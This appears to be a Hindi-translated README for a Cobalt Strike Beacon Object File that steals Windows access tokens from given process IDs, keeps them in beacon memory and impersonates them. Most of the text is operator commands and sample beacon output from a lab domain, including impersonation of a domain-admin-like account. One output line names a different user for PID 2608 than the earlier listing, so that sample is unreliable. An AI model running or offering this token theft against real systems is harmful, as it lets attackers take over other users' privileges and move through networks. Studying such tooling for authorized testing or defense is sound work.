
इन-मेमोरी टोकन वॉल्ट BOF फॉर Cobalt Strike
यह Beacon Object File (BOF) चुराए गए/डुप्लिकेट किए गए Windows एक्सेस टोकनों के लिए इन-मेमोरी स्टोरेज बनाता है, जो आपको निम्न की अनुमति देता है:
make all से बनाएँ।token-vault.cna एग्रेसर स्क्रिप्ट लोड करें।beacon> help token-vault
Available Commands:
Create a new token vault: token-vault create
Steal and store tokens: token-vault steal <comma separated list of PIDs> [vault-id]
Use the stored token: token-vault use <token-id> [vault-id]
Show the stored tokens: token-vault show [vault-id]
Remove the stored token: token-vault remove <token-id> [vault-id]
Remove all tokens: token-vault remove-all [vault-id]
Set the default token vault: token-vault set <vault-id>
token-vault create कमांड beacon के हीप से एक खाली वॉल्ट आवंटित करता है।
प्राप्त आउटपुट में वॉल्ट का मेमोरी पता (उर्फ वॉल्ट आईडी) होता है,
जिसका उपयोग अन्य token-vault कमांडों के लिए वॉल्ट निर्दिष्ट करने के लिए किया जाता है।
beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610
इसके अतिरिक्त, एक विशिष्ट वॉल्ट आईडी को डिफ़ॉल्ट वॉल्ट के रूप में सेट किया जा सकता है,
जिसका उपयोग तब किया जाता है जब कोई token-vault कमांड वॉल्ट आईडी शामिल नहीं करता है।
beacon> token-vault set 0000000000C31610
यह ध्यान देना महत्वपूर्ण है कि कॉन्फ़िगर किए गए डिफ़ॉल्ट वॉल्ट Cobalt Strike क्लाइंट के अंदर रहते हैं और क्लाइंट के बीच साझा नहीं किए जाते हैं।
token-vault steal कमांड दी गई प्रक्रियाओं के टोकनों की नकल (डुप्लिकेट) करता है और उन्हें वॉल्ट में संग्रहीत करता है।
beacon> token-vault steal 6600,2608,5248
[*] Token Vault - steal (@henkru)
[+] host called home, sent: 3009 bytes
[+] received output:
6600: WINLAB\limited
[+] received output:
2608: WINLAB\limited2
[+] received output:
5248: WINLAB\admin
beacon> token-vault show
[*] Token Vault - show (@henkru)
[+] host called home, sent: 2999 bytes
[+] received output:
5248: WINLAB\admin
2608: WINLAB\limited2
6600: WINLAB\limited
token-vault use कमांड वॉल्ट से एक टोकन का प्रतिरूपण (impersonate) करता है। यदि टोकन मौजूद नहीं है, तो इसे चुराकर वॉल्ट में संग्रहीत किया जाएगा।
beacon> token-vault use 2608
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[+] Impersonated WINLAB\limited
beacon> token-vault use 6384
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[-] token of 6384 not in the vault; try to get it.
[+] received output:
6384: WINLAB\da
[+] Impersonated WINLAB\da
token-vault remove कमांड वॉल्ट से एक संग्रहीत टोकन को हटाता है।
beacon> token-vault remove 6600
[*] Token Vault - remove (@henkru)
[+] host called home, sent: 3001 bytes
[+] received output:
removed: 6600
इसके अतिरिक्त, token-vault remove-all कमांड एक साथ सभी टोकन हटा देता है।